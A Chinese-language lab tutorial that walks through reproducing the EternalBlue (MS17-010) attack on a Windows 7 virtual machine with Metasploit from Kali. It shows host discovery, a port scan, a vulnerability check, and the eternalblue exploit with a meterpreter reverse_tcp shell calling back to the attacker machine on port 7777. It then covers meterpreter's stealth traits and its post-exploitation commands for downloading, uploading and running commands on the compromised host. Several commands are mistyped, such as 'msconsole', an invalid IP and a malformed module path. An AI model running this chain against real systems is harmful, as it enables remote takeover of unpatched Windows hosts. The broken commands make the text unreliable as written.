永恒之蓝复现

环境要求

  1. windows 操作系统(本测试使用 windows 7 ) 镜像下载 为原版镜像,故需账号登录.

  2. Linux 攻击系统 (任意发行版本以下任选一种)

    1. kali官网 提供多种安装方式(本测试使用)
    2. centos 7 官方镜像
    3. ubuntu 22 官方镜像
    4. debian 11 官方镜像
  3. 可选 vmware 官网下载试用, 再安装任意攻击系统.

攻击机器

前言

Metaspolit 世界上使用最多的渗透测试框架

官方手册 英文须自行翻译, 参考

Kali环境配置

内置了 Metaspolit Framework (简称 MSF, Metasploit Framework 是一组允许信息收集、扫描、利用、利用开发、后期利用等的工具) , 推荐使用

  1. 打开一个指定监听端口
  • 推荐 ufw 防火墙工具管理

    1
    apt-get -y install ufw
  • 打开 7777(任意) 端口

    1
    ufw allow 7777
    1
    ufw reload
  • 查看端口

    1
    ufw status numbered
  1. Terminal 启动
1
msconsole

Centos 7 配置

  1. 安装 ufw 防火墙管理工具

    1
    sudo yum -y ufw

    打开 7777 端口 命令如 上文

  2. 安装 Ruby (metaspolit 的开发语言)

    1. 更新yum
    1
    sudo yum -y update
    1. 安装Ruby
    1
    sudo yum -y install ruby

    安装的版本通常是特定发行版发布时可用的最新 Ruby 版本。

    1. 查看版本
    1
    ruby -v
  3. 安装 MSF

    1. 下载
    1
    wget https://rpm.metasploit.com/metasploit-omnibus/pkg/metasploit-framework-6.2.29%2B20221130112654~1rapid7-1.el6.x86_64.rpm
    1. 安装
    1
    rpm -ivh metasploit.com/metasploit-omnibus/pkg/metasploit-framework-6.2.29%2B20221130112654~1rapid7-1.el6.x86_64.rpm

    成功安装,如图

  4. 启动 MSF

1
msfconsole

Debian 与 Ubuntu 配置

  1. 安装 ufw 防火墙管理工具

    1
    apt-get -y install ufw

    打开 7777 端口 命令如 上文

  2. 安装 Ruby

1
apt-get -y install ruby-full

2.安装 MSF

  1. 下载
1
wget https://apt.metasploit.com/pool/main/m/metasploit-framework/metasploit-framework_6.2.29%2B20221130112638~1rapid7-1_amd64.deb
  1. 安装
  • apt-get install alien
    
    1
    2
    3

    - ```shell
    dpkg -i metasploit-framework_6.2.29+20221130112638~1rapid7-1_amd64.deb
  1. 启动 MSF
1
msfconsole

靶机要求

windows 防火墙 已关闭

1
netsh advfirewall set allprofiles state off

端口 445 开放

windows 7 已默认开放

445端口是 smb 服务 文件(资源)共享服务

永恒之蓝

Kali

在此我以 kali 复现永恒之蓝

主机发现

前提: 已知目标靶机 ip 或者 网段 (如和攻击机器在同一局域网)

MSF Terminal 下

1
use auxiliary/scanner/discovery/arp_sweep

扫描 局域网 192.168.111.0/24 网段下主机 kali 其中一个网卡的IP为 192.168.111.130

1
set rhosts 192.168.111.0/24

设置 100 线程

1
set threads 100
1
run

显然扫出来了 192.168.111.128

端口扫描

1
use auxiliary/scanner/portscan/tcp

查看参数

1
show options

设置必须参数

1
set rhosts 192.168.111.128
1
set threads 100

开始扫描端口

1
run

如果,靶机防火墙已关闭,不出意外如下

发现靶机打开了 445 端口

漏洞利用

搜索 永恒之蓝 模块

1
search ms17_010

测试是否存在 永恒之蓝 漏洞 搜索结果的第 四 个模块

1
use auxiliary/scanner/smb/smb_ms17_010

设置目标 IP

1
set rhosts 192.168.111.1278

设置线程

1
set threads 100
1
run

Host is likely VULNERABLE to MS17-010! //主机似乎存在 MS17-010(永恒之蓝)漏洞

漏洞利用 搜索结果的第 1 个模块

1
use exploit/windows/smb/ms17_010_./eternalblue

设置目标(靶机/windows 7)主机 IP

1
set rhost 192.168.111.128

设置攻击(Kali)监听 payload (msf载荷:中的有效负载指的是漏洞利用模块。)

1
set payload windows/x64/meterpreter/reverse_tcp

设置Kali监听 iP ifconfig 命令查看

1
set lhosts 192.168.111.130

设置Kali(攻击机)监听端口 7777 即前文打开的 端口号

1
set lport 7777

最后,开启攻击 其实是利用smb协议漏洞,获取权限

1
run

成功!

meterpreter 命令行通道已连接 cmd 命令行

那么什么是 meterpreter 呢?

Meterpreter

Meterpreter 是一种先进的、动态可扩展的有效负载,它使用内存中的DLL 注入载荷,并在运行时通过网络进行扩展。它通过 stager 套接字进行通信,并提供全面的客户端 Ruby API。它具有命令历史记录、选项卡完成、频道等功能。

Metepreter 最初是由 skape 为 Metasploit 2.x 编写的,常见的扩展被合并到 3.x,目前正在为 Metasploit 3.3 进行大修。服务器部分是用纯 C 实现的,现在用 MSVC 编译,使其具有一定的可移植性。客户端可以用任何语言编写,但 Metasploit 具有功能齐全的 Ruby 客户端 API。

隐身

  • Meterpreter 完全驻留在内存中,不向磁盘写入任何内容。
  • 没有创建新进程,因为 Meterpreter 将自身注入到受感染的进程中,并且可以轻松迁移到其他正在运行的进程。
  • 默认情况下,Meterpreter 使用加密通信。
  • 所有这些都提供了有限的取证证据和对受害机器的影响。

强大的

  • Meterpreter 使用信道化通信系统。
  • TLV 协议几乎没有限制。

可扩展

  • 功能可以在运行时扩充并通过网络加载。
  • 无需重建即可将新功能添加到 Meterpreter。

常用命令

  • help:查看帮助信息。
  • background:允许用户在后台Meterpreter会话。
  • download:允许用户从入侵主机上下载文件。
  • upload:允许用户上传文件到入侵主机。
  • execute:允许用户在入侵主机上执行命令。
  • shell:允许用户在入侵主机上(仅是Windows主机)运行Windows shell命令。
  • session -i:允许用户切换会话。